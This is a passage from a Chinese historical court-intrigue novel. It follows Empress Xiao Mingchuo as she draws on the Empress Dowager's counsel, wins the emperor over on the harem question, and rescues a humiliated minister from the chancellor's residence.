但她能够这样做的前提,是乌兰徵的宠爱。
两人谁也没有说话,一时只有段知妘手中的剪子发出“咔嚓咔嚓”的细微动静。好一会儿,段知妘才道:“你还想说什么?”
“我……”明绰似是有些犹豫。段知妘把剪子放回去,伺候的人端来了洗手的盆,她很有耐心地细细净手,等着明绰说下去。
明绰只好轻声道:“陛下的宠爱,能有多长久?”
段知妘洗手的动作一顿,抬眼深深地看着她。然后她什么都没说,取了帕子擦手,示意伺候的人先下去。擦干净了手,才坐下来给自己也倒了杯茶。
“动心了?”
明绰先是摇了摇头,然后又想到什么,点了点头。
说不动心是自欺欺人,可她又总是没有那么投入。乌兰徵不许她心里再有别人的时候,她也提出了同样的要求,但那一瞬间她心里想的是,这样的话,在她能够废除那条祖制之前,就不会有意料之外的女子怀上乌兰徵的孩子了。
她没有办法什么都不想地去爱他,但也没有办法一点儿不顾及他。
段知妘笑了笑:“动心也好,虚情假意才长久不了,陛下不是傻子。”
“可是……”
明绰又停下来,不知道应该怎么说。其实她心里一直有这么一个小小的结,不知道该如何开解。
“后宫里的女人,以色侍人是不长久的……”明绰小心斟酌,不敢说接下来的话,但段知妘一下子就明白了她未尽之意:“哦,这是以我为鉴来了。”
“臣妾不敢。”
段知妘摆摆手,没有生气:“行了,你没什么不敢的。”
明绰没有说话,段知妘看了她一眼,突然问她:“你觉得用这种方式劝陛下礼佛,很可耻吗?”
实话是,她确实这样觉得。说难听一点,这就是用她自己的身体去换来的。但明绰什么都没有说,这是她自己同意的手段,她不想显得好像在责怪段太后。
段知妘的目光很深,好像完全看透了她在想什么,然后她微微后仰,抻了抻背上一根筋,发出了一声意味深长的长叹。原本她是很懒得教萧明绰什么,但她实在是……还嫩。
“谁不想生下来就名正言顺地手握大权,顺我者昌逆我者亡?”段知妘看着她,“你也是皇家血脉,跟你皇兄一母同胎,怎么他们选了你皇兄,没选你呢?”
这问题太显而易见了,所以明绰也没有回答。
段知妘连着继续问了下去:“你不‘以色侍人’,谁会给你权力啊?男人不也是战场厮杀来的权力吗?男人杀人夺权便是英雄,女人以美色夺权,就可耻了?”
明
绰心里一动,她从来没有这样想过。
“但这不一样,”明绰到底还是把那句不该说的话说了出来,“杀人有威慑之力,可女子靠美色和情爱,到底是抓不住的。若是色衰爱弛,权力便烟消云散了。”
“大可汗英雄一世,病弱体衰了,兀臧蛮和拔拔真就都离他而去……他的威慑之力又比美色和情爱强到哪里去?”段知妘不紧不慢地反问她,“你觉得,陛下会由此认为,既然人都是要老要病的,就压根不该以武力服人吗?”
明绰明白了:“不会。”
乌兰徵只会觉得,驭下光靠武力是不行的,但更不能少了武力。
段知妘一笑:“女人若是‘色衰’便‘爱驰’,‘爱驰’便失权,那只是说明她没有本事把权力握在手里,不是‘以色侍人’就不应该。那不过是男人想白占便宜才编造出来的鬼话,你看,他们永远都不会心甘情愿地把权力给你的。”她微微倾身,捏住了明绰了下巴,“你必须用尽你手里的一切去抢,你的美貌,还有你的真心……”
明绰被迫抬起头,却在那一瞬间重新看到了母亲的眼睛。她有刹那的失神,定睛一看,眼前还是段知妘。明绰有一会儿没说话,然后她突然站了起来,朝太后行了一个礼:“多谢太后。”
次日,宫中派出车驾,将萧皇后接回了皇宫。
一开始,萧皇后只是提出了将后宫女子重新封赐,明确品阶。此事并没有引起任何人的戒备,陛下全心扑在了筹备收复洛阳的战事上,根本就没管。只有贺儿薄提了一句,担心萧皇后偏心汉人嫔妃。但实际上萧皇后也没有这么做,汉女中仅有辽阳侯之女陈云出被封为贵妃,算是践行当年招降陈氏时承诺的“优待”。另外一位良娣、一位贵嫔,都出身西海。至此,后宫位置最高的“一后三淑”,分别两胡两汉,也算得上是公平。
但到了封“九嫔”的时候,萧皇后就露出了真实的目的。她不仅没把这九个人的位置填满,还要把其余的都遣送回去。丞相在御前叽叽呱呱地反对,脸都说红了,皇后也只是眨眨眼睛,说没听明白。齐木格让乙满来说,乙满刚说到一句“善妒”,皇后就认了,完全没有被骂到的样子。
“妒妇怎么了?”萧皇后说得慢条斯理,生怕乙满听不懂,“天下哪个女子,愿意同别人分享心上人?我是妒妇,陛下也是知道的……”
她一边说一边看了陛下一眼。此时不是正式朝议,是齐木格带了人私下面圣,明绰正陪着乌兰徵算粮草补给,本来挨得就近,说着说着,还往乌兰徵身上靠。娇娇弱弱,不像是母仪天下的皇后,倒像个恃宠而骄的妖妃。齐木格看她这幅样子张嘴就骂,明绰确实没听懂,但估计着应该是骂得不太好听,乌兰徵的脸当场就拉下来了。
“额赤哥!”他也用乌兰语低沉地下了道命令,这句明绰听懂了,他要齐木格道歉。
齐木格铁青着脸,不情不愿地朝明绰行礼,生硬地用汉话道:“皇后恕罪。”
明绰干脆别过了脸,装着没听见。齐木格跟段太后吵惯了,根本不在意什么礼节,而且无论如何两人算是平辈。如今萧皇后小着一辈,又这样年轻,看起来就是老头子欺负小姑娘。乙满看着乌兰徵的脸色,不像是以前一样被吵得无奈,而是明显对齐木格不满了,赶紧出声劝了两句,把养父先劝了回去。
乌兰徵也要明绰先回去,明绰就一句废话没有,行了礼便走,半点不叫他为难。等到晚上了乌兰徵来长秋殿,明绰就一个人坐在床上哭,说丞相骂的那个词她找人问过了,那是乌兰人骂女子淫|荡的话。
乌兰徵七分疑心她是演的,萧明绰要是能被这么一句话骂哭,当初就不会在额雅的病床前硬是把老丞相逼得话都说不出来了——可心里又有三分觉得,她就是演出来的他也心疼。
“好了。”乌兰徵息事宁人地来揽她的肩膀,明绰就把肩膀一沉,甩开他。乌兰徵就用了几分力气,强行把她圈进了怀里,又道,“丞相也有他的顾虑。”
明绰一听这话头就不对,扭头看他:“乙满是不是跟你说,若是把这些女子都送回去,会得罪西海诸部,那些个俟骆呀部落王的,就不再愿意效忠大燕了?”
乙满很明显就是这么说的,但乌兰徵没应这话,只道:“你不愿封九嫔,那就和原来一样,放在宫里就行了,我又不会……”
明绰不听他说完,马上扭头就哭。乌兰徵皱了眉,也是让她哭得有点儿头疼了,又问:“你不信我?”
“臣妾不是不信陛下!”明绰把脸埋在自己的衣袖里,哭得抽抽噎噎,“臣妾是哭自己的夫君竟这样让人羞辱!”
这就绝对不是发自真心的话了。乌兰徵在床上坐直,也不去搂她,只道:“你有话就说。”
明绰从臂弯里露出一双眼睛,果然根本没多少眼泪,一张嘴,理直气壮得近乎咄咄逼人。
“西海诸部难道不是陛下一兵一卒打下来的吗?效忠就是效忠,哪来的条件?汉人有句话,雷霆雨露,皆是君恩!怎么陛下把美人送回去,他们就要反?那这还是效忠吗?今日这样说,那明日是不是又要说,陛下不肯宠幸那些美人,西海诸部又不高兴了——这什么时候是个头?难不成西海的统一和安定不是陛下打下来的,是陛下跟人睡觉睡出来的啊?丞相这不是羞辱陛下是什么!”
乌兰徵让她说得倒吸了一口冷气,又有点儿恼火,又反驳不出来什么。只好伸出一根手指,在明绰面前点了点,颇有点儿咬牙切齿的:“我看丞相是不敢的,只有你敢。”
明绰也不哭了,把脸完全露出来,噘着嘴,斜着眼睛看着他。乌兰徵把手放下了,看着不大高兴,明绰就把脚尖伸出去,在他大腿边上蹭一蹭。乌兰徵不理,再往边上坐一些,明绰就把再伸直一些,继续蹭他。然后被乌兰徵一把抓住脚踝,顺势一拉,整个人便失去平衡,倒在了床上。乌兰徵覆身而上的时候她还在笑。
“乙满还说了,”乌兰徵咬她的耳垂,恶狠狠的口气,“皇后是要里间西海诸部,为你皇兄铺路。”
明绰只问:“这是乙满将军说的,还是丞相说的?”
乌兰徵便叹气:“你别学太后。丞相是当年最早追随阿耶的人,用你们汉人的话说,是结义兄弟,你别跟他这样针锋相对。”
明绰便道:“原来我不是要跟后宫的女人争宠,是要跟丞相争宠。”
乌兰徵让她说得哭笑不得:“这叫什么话?”
明绰嘴一撇:“怪不得他用那种话骂我,原来是见不得我跟陛下情好,他才善妒……”
她越说越不像样,乌兰徵恨得牙痒痒,只能狠狠堵住她的嘴。但是明绰偏要说:“到底是我离间西海诸部……唔!还是,还是丞相离间陛下和,唔……和我皇兄?”
乌兰徵突然倒下来,把脸埋在明绰颈窝里。小孩似的,很委屈地哼了两声,然后拖长声音,“唉”了一声。怎么送了太后走,又来了皇后,吵得这就没个完了。
明绰把手贴在他脑后,安抚似的摸了摸,安慰了一句:“好了好了,不说这个啦。”乌兰徵这才“嗯”了一声,侧过脸,吻她的颈侧。明绰咬住了下唇,若有所思的,任他亲了一会儿,感觉他没那么烦了,又突然小声道:“换了我来也是一样,说明是丞相就不想让陛下好过。”
乌兰徵猛地一下起来了,伸手就去床头拿自己的衣服。明绰也坐起来,看着他坐在床边穿衣,
只问他:“陛下今晚不睡长秋殿啦?”
乌兰徵不看她;“我自己回去睡。”
“哦。”明绰忍着笑,“那明晚呢?”
“明晚再说。”
“那后宫里这些女人呢?”
乌兰徵已经站了起来,头也不回,气得直喊:“皇后想怎么办怎么办!”
那就行了。明绰笑嘻嘻地站起来,拖长了声音:“恭送陛下!”
第62章
景平十九年,萧盈信守承诺,召袁氏父子回京,拜袁增为大都督,袁煦、袁綦兄弟为副将,奔赴幽州。
明绰在乌兰徵案前看大雍递来的文书,意外地看到了谢维的名字。他被重新起用,拜军中司马。
“此人甚有谋略。”乌兰徵从她的肩头看到她一直停留在这个名字上,突然说了一句,“是你舅舅吧?”
明绰也不否认,但不愿意这样称呼他,多此一举地解释道:“是我母后的堂兄。”
“怎么只是个司马?”乌兰徵轻轻咂舌,“若换了我,定拜他为大将。”
当年伐陈,乌兰徵借道幽州,是得到了谢维暗中的帮助才能奇袭成功。
明绰笑了一声,什么都没解释:“你们俩倒是惺惺相惜。”
“哦?他跟你提过我?”
“提过一嘴。”明绰转过脸,在他鼻梁上轻轻一刮,“说陛下风姿俊逸,是我的良配。”
乌兰徵轻轻挑眉,含笑道:“那你皇兄也真是太不会用人了。”他的视线又落到摊开的文书上,突然念出了一个名字:“原来叫袁綦。”
明绰早已忘记了两年前乌兰徵曾误会过她的情郎姓袁,茫然地问了一句:“袁綦怎么了?”
乌兰徵的手伸过来,把她手里的文书抽到一边,阴阳怪气的:“是我该问你啊,他便是袁煦的兄弟?”
明绰不明所以:“是啊。”
乌兰徵撇撇嘴,很不屑似的:“没听说过。”
明绰轻轻地“嘶”了一声,想起当日跟随母后兵围温泉宫,袁綦一人一枪,拦在宫门口,杀得尸体都垒成路障了,便正色道:“陛下可别小瞧了袁綦。袁氏一门两兄弟皆为虎将,谢维也不过是他们手下败将,我皇兄如此安排,其实最得宜不过。”
乌兰徵轻轻地眯起眼睛,一时竟然分辨不出她是有意气他还是确实是在就事论事。但她话里有一个轻微的小漏洞,说谢维是袁氏兄弟的“手下败将”。但他们同朝为官,怎么会有两军对垒的时候?
他此时才想起来,就在明绰嫁过来之前,长安收到过消息,荆州军曾有异动,紧接着掌权十几年的谢氏父女就相继离世,在那之后,长安再听到有关建康的消息,就很少有谢家人什么事儿。段太后早已跟他说过,萧盈比他有手段得多。
朝堂上的事情说萧盈比他强也就罢了,怎么派兵打仗也说萧盈的安排更好,还这样不顾忌地在他面前夸袁家那二郎。乌兰徵心里酸溜溜的,突然捧着明绰的脸转过来,狠狠在她唇下咬了一口。明绰吃痛地叫了一声,睁着一双眼睛莫名其妙地瞪着他:“你……!”
乌兰徵咬了一口就出完了气,又没事儿人似的站直说道:“你皇兄既出兵,我也该出兵了。”
明绰揉着下唇,气鼓鼓地瞪他。本来她应该有些舍不得的,但莫名其妙被他咬了这一口,她现在只想让他早日出发。
乌兰徵又道:“太后在西觉寺也有些日子了,也该接她回来了。”
明绰一愣,放下了手,没想到乌兰徵会自己提出来。
“陛下还是想让太后镇守长安?”
“嗯。”乌兰徵自然地点了点头,突然又道,“万一出了什么事,太后手里还有雍州军。”
明绰一时还没反应过来能有什么“万一”,以前长安会担心大雍出兵,也担心西海叛乱,如今结了盟,又平了叛,应当没有什么后顾之忧了。可是再看一眼乌兰徵,明绰心里突然明白过来。
这个“万一”,是说他战死。若有诸部叛乱,外敌趁虚,便要靠太后的雍州军来定大燕的天下。他没有儿子,皇后也是新立,没有兵权更没有威信。若有意外,新帝只能靠太后来扶立。他虽在此事上不满太后的私心,但事到临头,还是只能作此安排。
慧玄说他从无败绩,但原来他每一次出征,都会做好回不来的打算。
明绰没说什么,只是伸手环住了他的腰,抱得紧紧的。乌兰徵愣了一下,感觉到了她没说出口的情绪,嘴角便没忍住扬起来,但十分克制,只是伸手搭在了她后脑,摸了摸她的头发。
“我也有很重要的事情要交给你。”
明绰抬起头看他:“什么?”
“我不在,你要在太后和丞相之间调停一二。”乌兰徵搂着她的肩膀,叹了口气,“别让太后做得太过火。”
这话就是拉偏架了,怎么不说丞相会做得太过火。明绰给了他一个不满的眼神,但乌兰徵没有跟她开玩笑的心思。
“贺儿库莫乞在北镇守着,脱不开身,这次我会带乙满出征。”乌兰徵正色了几分,“他和曲甘部、阿巴颜部都是丞相的人。”
明绰微怔,然后也严肃起来,轻声道:“臣妾明白了。”
乌兰徵认真地看了她一会儿,然后重新把她拥进了怀中,良久,才轻声道:“我把长安交给你了。”
当日,段太后回宫。乌兰徵特地去了一趟长霄殿,明绰亦随行在侧,见两人相敬相亲,一个言语孝敬,另一个关切慈祥,简直如一对亲母子,半点也看不出哪里离心。
就在那一瞬间,明绰意识到自己错了。段知妘或许“爱弛”,或许也是确然与陛下离心,但还远远未到真正失权的一步。那天晚上她说过的话,在如今想来,就有些天真得可笑了。太后其实并不非要和皇后联手才能脱困,但萧皇后主动送上了门,她也没有拒绝。
明绰一时不知道自己走的这一步是对还是不对,就见段太后笑盈盈地朝她举起了杯,明绰只好笑了笑,跟着将杯中酒一饮而下。
半个月后,大军出征。
乌兰徵这一次两边的颜面都给了足,不仅照例向阿瓦神女祭祀祝祷,在此之前还先去了一趟西觉寺上香。足足耽搁了一整天,才总算骑马踏出了长安城。祭祀祝祷只有西海权贵参与,明绰没列席,但是听说结果不是很好,丞相喋喋不休,说是因为陛下先去了西觉寺,才令神女发怒,惹得乌兰徵出城的时候脸都是黑的。
但明绰一时顾不上丞相又说了什么,乌兰徵刚走那几天,她整晚整晚地睡不好。这几个月以来乌兰徵夜夜都宿在长秋殿,她已经习惯身边有个人。如今睡得半梦半醒,摸到身边是空的,心里就不踏实。她虽不信阿瓦神女,但祭祀的结果不好,终究是扎在心里的一根刺,让她不舒服。
只是行军也要日子,大军还没到地方,不会有战报回来。明绰这样茶饭不思的,梁芸姑见了便有些感慨,说当年怀帝刚出征的时候,谢皇后也是这样。说完明绰就急了,梁芸姑这才觉出不妥,只好赶紧连声“呸呸呸”。
就连去长霄殿见太后,明绰也有些魂不守舍。段知妘倒是没说什么,就是看着她的眼神里似有些很遥远的感慨。明绰没好意思问她是不是也会这样为乌兰徵担心——那件事她们心照不宣,已是再也不提了。于是她只好问,从前乌兰郁弗出征的时候,太后是否也担心。然而段知妘闻言只是一笑,似是不以为意,可是笑完了却又微微正色,轻声道:“从前父亲和兄长出征的时候,我也睡不着觉。”
明绰顿时不知道该说什么,段氏一门死守雍州,男丁全部战死。在段知妘还没有明绰如今年纪的时候,她等的人已经一个接一个,再也没有回来。
“所以大可汗出征的时候,太后已经不会再担心了吗?”
“担心是一直都会担心的,”段知妘淡淡地端茶饮了一口,“但你慢慢就会习惯,会明白睡不着觉没有用。”
明绰一时难以想象要怎么样才能够“习惯”这样的事:“但愿陛下这次能一举灭了拔拔真,以后就再也不必……”
她话没说完,段知妘就笑着挥了挥手,只道:“一口吃不成个胖子,陛下哪来这么多粮草一直打到冀州去?这次能把洛阳先
收回来再说吧。”
明绰便不言语了,她也知道乌兰徵根本没准备打到冀州的粮草,这样年年地打仗,百姓们担子太重了。好在今年没天灾,收成尚可,不然冬天马上就要饿死人。
太难了。明绰愁眉苦脸,感觉更要睡不着觉了。
段知妘看见她的表情就笑,甚至泛出一股怜惜。她也不知道是为什么,也许是从萧皇后身上看到了曾经的自己吧,今天好像对她格外柔软一些。
“你还有眼前的事要做,”段知妘难得温声宽慰了她一句,“天塌不下来。”
她话音未落,便像是为了证明这句话似的,察察突然来报,说温峻求见。
明绰本来觉得有些尴尬,想回避,但段知妘面不改色,直接让进来了。然后只见一个男人衣衫不整地就闯了进来,进门就跪,惊得明绰连退了两步,竟没认出来此人是温峻。
“怎么了!”段知妘也变了脸色,只是比明绰好些,还是稳稳地坐着。几个宫人连忙上前搀扶,明绰这才发现,他的“衣冠不整”是因为身上一件袍子被割得破破烂烂,有些地方还割到了皮肉,沾了血。腿脚似乎也受了伤,刚被扶起来就往下倒。
这下段知妘也坐不住了,站起来一把推开了宫人,亲自去搀他。温峻顾不得皇后也在,手臂撑在太后的肩上,浑身发颤,泪如雨下:“太后救命啊……”
“谁干的?”段知妘满脸怒容,“谁敢伤你!”
明绰立刻转头嘱咐跟来的秋桑:“快去请大夫!”
温峻似是疼得厉害,话不成话,嘶嘶地抽气。段知妘到底扶不动一个大男人,眼看着温峻又要倒,明绰赶紧也上前一步,一左一右地把人扶着坐了下来。温峻还要行礼:“臣,臣不知皇后……”
“温大人不要多礼了,”明绰一口打断,递了一杯水给他,“这到底是怎么了?”
温峻没喝,急道:“臣无事,但是萧尚书……萧尚书还在丞相府中——太后,丞相有反心!”
他说到后来,又跪了下去,一只手伸出来紧紧地抓住了段知妘的衣角:“今日丞相为他女儿做寿,遍邀群臣,臣与萧尚书一同赴宴,席上丞相令群臣跪拜他的女儿,称他女儿为公主!萧尚书不依,怒斥丞相谋逆之心,被丞相府兵拿下,臣拼死出逃,也是被丞相府兵所伤……太后!萧尚书恐有性命之忧啊!”
段知妘听到一半已是咬牙切齿:“老贼敢耳!来人——”
“太后!”明绰想起乌兰徵交给她的事情,赶紧劝了一句,“萧尚书是重臣,没有陛下的旨意,丞相他未必敢……”
温峻马上急道:“皇后!这都是臣是亲眼所见,若有一句虚言,臣愿立死!”
“我不是不信温大人……”明绰话说到一半,段知妘已没有耐心再听她说什么,大步往外走,明绰急忙上前,硬是拉住了她,“太后三思!”
“皇后这是何意?”段知妘冷冷地看了她一眼,压低了声音,“你可是答应过我,会助我杀了齐木格。”
明绰一时有口难辩,她是答应过,但是乌兰徵说得很清楚,这一次出征的主力是齐木格的人。若是他一走丞相就出了什么事,传到阵前乱了军心,后果不堪设想。
若非如此,齐木格也不会如此膨胀,公然要群臣称他的女儿为公主。
“我去丞相府!”明绰来不及多想,已经脱口而出。
段知妘眼中浮现惊异之色,冷着脸,皱起了眉头。
“请太后息怒,不如留在宫中,看一看温大人伤得如何。”明绰放缓了语气劝她,“若是太后带了人去,丞相狗急跳墙,也许真会伤了萧尚书。不如由我去,探明丞相是否真有谋逆之心,救下了萧尚书,也有了人证。日后再杀,方是名正言顺。”
段知妘目光很深地看了她一会儿,没说话。明绰背上已发了一层汗,正要再劝,她却突然从腰上接下来一块令牌,交给了察察。
“去调几个人,”太后下令,“护送皇后去丞相府。”
第63章
太后令牌出宫,雍州军中立刻遣出一支三十多人的小队,等萧皇后准备好出宫,他们已经迎候在宫门外,察察与梁芸姑亦随行皇后身侧。
“段将军。”明绰从马车里探出头,朝带头的人微微颔首。她没见过此人,但察察已经说过,来人是太后亲信段锐。当日雍州城中全民皆兵,无名的孤儿都姓段,他也是其中之一。
段锐翻身下马,朝皇后行礼。明绰免了他的礼数,只道:“段将军辛苦,只是用不上这么多人吧……”她是去“谈”的,不想一下子就激怒了齐木格。
段锐姿态恭敬,但并不听皇后的话:“齐木格府兵有百人之众,兄弟们来得不算多。”
明绰眉间忍不住一跳,朝臣拥府兵百人是一个难以想象的数字,要是在建康,早就脑袋不知道掉几次了。当年谢郯势力最盛的时候,在太极殿阴伏刀斧手杀长沙王,能拿出来的也不过二三十人。
梁芸姑也被这个数字骇了一跳,立刻劝了一句:“皇后还是把人都带上吧。”
明绰便不再固执:“有劳将军。”
段锐重新上马,一行人跟在皇后的马车后面,沿着长安城中的主道往丞相府疾驰而去。府邸很近,约莫行了一刻钟便到了。明绰下了马车,抬头见齐木格府邸的面门还是汉人宅邸的规制,约莫还是前梁时候哪个大官家里,如今让丞相占了。因在给家中女儿做寿,以乌兰人的习俗在门口装饰了许多鲜花,还有砍下来的白毛牛头,血以洗净,长长的牛角上挂了十几条颜色各异的彩带,象征女儿的岁数。放在汉家人高高的门楣前面,显得格格不入。
见皇后来了,下人连忙进去通报,明绰就站在门口等,不多时,便看见来了两个中年人,明绰一眼认出,这都是阿巴颜部的人,因有伤才没有随军出征。
梁芸姑甚为不满:“皇后亲至,丞相也不出来迎吗?”
那两个阿巴颜部的人看起来并不把她的话放在心上,嘻嘻哈哈地不知道说些什么。阿巴颜部的语言和乌兰语也不尽相同,他们又喝多了酒大舌头,竟连察察也听不太明白他们在说什么。梁芸姑正欲再呵斥,明绰已经轻轻搭了她手腕。
“丞相家里有喜事,我是来贺寿的,不必摆这架子。”明绰也不理会那两个醉鬼,抬起脚就往里面走。段锐带着人要跟上的时候,那两个醉鬼突然又清醒了,叽里咕噜地抵住了他的胸口,不让进。
明绰回过头,让察察翻译:“段将军也是来贺寿的,怎么竟把客人往外赶呢?”
那两人听完便对视了一眼,只是摇头,干脆也不跟皇后说什么。他们都认得这是段太后的人,说什么也不信客人不客人的。明绰不愿意在门口就浪费太多时间,当机立断地下了命令:“段将军一人随我进去就好。”
察察又翻译一遍,那两人犹豫片刻,看起来还是不敢太得罪皇后,只好让了一步,允许段锐跟上。他眉目间有些紧张,上前两步跟紧明绰,小声道:“只有末将一人,恐怕……”
“本宫是大燕的皇后,齐木格他不敢。”明绰压低声音打断他,“若有万一,本宫也信段将军勇武,定能以一敌百。”
段锐脸一皱。以一敌百什么的,他肯定不行。但是皇后都这么说了,他也只能一咬牙:“末将定护皇后周全!”
明绰点了点头,快步朝府中人声最喧嚣的方向走去。西海人不习惯坐在室内饮酒,席面设在后面庭院中。明绰绕过回廊,先看见所有人都围坐着,中间的空地有好些人又唱又跳的,她一时没看到齐木格坐在哪里,最显眼的位置上是一个盛装的少女,满头的珊瑚珠串,垒得极高,正是齐木格最小的女儿,今日的寿星。她身边围着不少和她差不多大的女孩子,明绰一走近,有个女孩儿便跳了起来,欢喜地
朝她招了招手:“可敦!”
她奔到近前来,明绰只觉得她眼熟,一时竟没想起来是谁,还是察察在她耳边轻声提醒:“这是步察苏古勒。”
明绰想起来了,两年多以前那场跑马会,她在投壶的时候把头上的金钗输给了这个步察家的女孩儿。
步察苏古勒亲亲热热地抓着她的手,把她往席上领。齐木格的女儿没见过她,睁着一双眼睛非常好奇地盯着她看,也不行礼。原本正在唱着跳着的人群也都停了下来,把中间的空地让了出来,明绰这才发现,萧典正狼狈地颓坐在正中间,冠掉了,头发散得乱七八糟,衣服也让人扒得干干净净,只能徒劳地用手捂住腿间。身上、脸上都很脏,眼神都有些涣散,好一会儿都没意识到这突然的安静是怎么回事。
原来方才那群人是在围着他又唱又跳。
“萧尚书!”明绰赶紧上前一步去扶他。萧典茫然地抬起头,看清楚了是谁,顿时连胡须都跟着发了颤:“皇……皇后……”
“大人快起来……”明绰想扶他起身,但是萧典赶紧跪伏下来,不敢让皇后看见自己赤|身裸|体,如此羞辱,让他完全说不出话,只能干嚎了几声。明绰看见他嘴里掉了几颗牙,半边脸肿得厉害,狼狈得无以复加。
“可敦怎么也来了?”
明绰直起身,终于看见了齐木格。他坐在女儿的正对面,想来是宴席主人的尊位,身边围着一大帮人,明绰粗粗扫了一眼,发现主要是步察家的人,这是与齐木格最亲。更下首的位置则散落着西海诸部的人,如今明绰已经可以一眼从他们的服饰上分别出他们属于不同的部落。有的部落来的人多,有的来得少,但都不是年轻人,想必是各部的青壮年都已经跟着乌兰徵上战场了。唯独两个年轻人特别扎眼,一个是在额雅病床前被明绰喝退的汉人翻译,另一个是当年跑马会上惊过明绰马的贺儿冲。
明绰心中一动,视线立刻重新往那群老头子里扫了一圈。
贺儿薄没有来。
她不说话,脸色也不大好看,齐木格似是终于察觉到自己太失礼了,不情不愿地起了身,倨傲地行了一礼,以乌兰语向可敦问安。他带了个头,西海众人才都纷纷行礼。步察苏古勒已被这气氛吓到,也不敢再来拉明绰的手,悄悄地退了两步。
明绰终于开口:“丞相这是在做什么?”
齐木格歪了歪头,那汉人翻译立刻凑到他耳边,听完了他的回答,又躬身道:“回皇后,丞相说宴饮欢畅,拉萧尚书一起跳跳舞,没做什么。”
萧典嘶哑着嗓子,似乎想争辩什么,明绰马上安抚似的拍拍他的手背,示意他稍安勿躁。
“哦?跳跳舞?”明绰的眼睛扫过刚才几个跳得高兴的人,从他们的发式来看,都是曲甘部的人。曲甘部生活在西海环境最险的地方,连牛羊都没有,以猎杀狼、鹿、野猪为生,一旦打猎成功,就会围着猎物被扒完皮的尸体唱歌跳舞。
明绰沉了声音:“你们把萧大人当成什么?!”
齐木格又跟那翻译说了两句,翻译垂首道:“皇后误会了,只是跳跳舞。”
其实丞相神色倨傲,半点没有被皇后的质问吓住的意思。但那翻译也许是当年被明绰吓过,回皇后的话一点儿气势也没有。齐木格不满地狠狠给了他一耳光,骂了几句。
萧典趁此机会赶紧跟明绰告状:“皇后,丞相有反心,他……”
明绰给了他一个眼色,示意他先别说话。萧典愣在那里,梁芸姑已经送来了大氅,先给他蔽体。但是萧典突然跪下来,以头抢地,恨不得把自己头磕碎:“老臣受此大辱,已绝不能活!请皇后明鉴,治齐木格谋反大罪——!”
明绰马上给段锐又使了个眼色。他们以寡敌众,现在绝不是挑破此事的好时机。就算齐木格还不敢动皇后,但逼急了他真的会杀萧典。段锐会意,立刻上前跟梁芸姑两人把萧典架了起来。萧典还在哭喊不能活了,但他被打落了牙,说话漏风,刚才那句“谋反”也没说得很清楚。齐木格皱着眉头问那汉人翻译,那人也只是摇摇头,像是没听清楚。
“丞相今日为女儿做寿,怎么也不跟宫里通知一声。”明绰笑了笑,提高声音盖过了萧典的哭喊,朝齐木格走了两步,“我与太后也备上了一份薄利,为……”她顿了顿,不知道齐木格女儿叫什么。察察手里捧着那份贺礼,适时又悄声说了个名字,明绰便若无其事地往下顺,“豪尔特妹妹一贺芳辰。”
察察把皇后的话译了一遍,手中顺势打开了木盒。明绰出来得急,根本没仔细挑,就从嫁妆里抓了一把珠宝首饰,都是她嫌俗气的大块金玉。豪尔特闻言,已经没忍住凑上来,抓起一条东海珠,十分欢喜的往身上带。见到女儿欢喜,齐木格脸色稍霁,竟也换了生硬的汉话:“那就请可敦喝酒。”
“酒就不喝了。”明绰仍是笑着,“我瞧萧大人身体不适,我还是先带萧大人回去吧。”
齐木格侧过耳朵去听那人的翻译,豪尔特已经欢喜地主动跟明绰说起话。年轻一代的西海人都必须学汉话,她的吐字也十分清晰:“多谢可敦!”她说着,朝步察苏古勒招了招手,那女孩儿也跑上来,小声对豪尔特说:“我跟你说了,可敦人很好。”
“不用客气。”明绰也笑了笑,也亲热地握了握步察苏古勒的手,“你生辰的时候记得跟我说,我也送你一份礼物。”
步察苏古勒的眼睛一亮,豪尔特便道:“比我的多吗?”
“那自然是比不过你。”明绰笑着伸手替她扶了扶头上歪了的珊瑚串,突然道,“豪尔特妹妹的尊贵不输公主,等我给陛下写一封信,为你请封,以后啊,你就是陛下的亲妹妹,让你名正言顺地做公主,好不好?”
在场听得懂汉话的西海人都微微变了脸色,连齐木格都不需要那汉人的翻译,一张脸登时一沉,阴恻恻地盯着皇后。可是豪尔特一点儿听不出来,只顾高兴,拍着手道谢,还回过头去跟齐木格说什么。齐木格硬是挤出了一个笑脸,敷衍地朝女儿点了点头。明绰这才盈盈一拜,就此别过:“丞相,吃好喝好。”
她转身就走,脸上的笑容瞬间消失。萧典目瞪口呆地看着眼前的一切,被段锐半扶半拖地带着快速跟上。明绰其实恨不得能跑出去,但她有意控制着步速,昂着头,威严而从容地一路走出去。直到那三个几个人都围上来,丞相也没出动府兵,明绰才忍不住松了一口气。
几个人先扶着萧典上了马车,明绰才跟着坐进去。萧典羞惭满面,扭过头把头靠在马车厢壁上,手指紧紧地攥着那件大氅,老泪纵横。明绰一时也不知道该如何安慰才好,君子死而冠不免,今日之辱,对萧典来说,实在是比死还难堪。
“萧大人,”明绰斟酌半晌,也只能轻声道,“还望大人保重,以待来日。”
萧典猛地转过头,眼睛透出了凶光:“还有什么来日?”
明绰顿了顿,沉声道:“大人可信本宫?”
萧典抬起头,看了她许久,突然跪了下来。他的手还紧紧攥着大氅,一时维持不住平衡,几乎是摔了下来,发出了“咚”的一声。明绰伸手去扶,萧典却执意叩首,只道:“老臣残躯贱生,甘为皇后马前之卒!只求皇后能雪老臣今日之耻——”他咬牙切齿,“让齐木格用人头来偿还!”
明绰伸手把他扶起来,握着他的手臂,像是一句无声的诺言。
“本宫先送萧大人回去……”她从马车中探出头,刚要嘱咐先去尚书府邸,余光却瞥见有个人从丞相府中急匆匆地奔了出来,竟是齐木格身边那汉人翻译。段锐的头轻轻一歪,手下马上拔了剑,不许他再靠近马车,他只好扬声哀求:“皇后!冯濂之求见!”
原来他叫冯濂之。明绰冷着脸问:“做什么?”
“草民斗胆……”冯濂之的声音弱下去,“请问温峻大人……伤得如何?”
明绰有些意外地把车帘挑得更开,上下打量了他几眼。萧典也看清了来人,突然轻声道:“
是此人相助温峻脱身。”
明绰心里有了数:“你与温大人有旧?”
“草民哪敢与温大人有旧。”冯濂之低了头,“只是温大人看得起草民,与草民聊过一些乌兰语上的……皇后恕罪,草民只是……”
明绰听明白了,冯濂之出身微末,又投在齐木格府中,西海人不会把他当自己人,长安士族更看不起他。温峻主张归汉之策的前提是汉人也要去了解乌兰人,所以主动为乌兰人作史立传,冯濂之的乌兰语如此纯熟,温峻私下必向他讨教过。这是一段没有人看得起的友谊,想来也不会有多少人知道。但冯濂之还是出手帮了温峻。
“温大人无事。”明绰的语气稍微软了软,见到冯濂之松了一口气的模样,突然又道,“冯先生有才,何必明珠暗投?”
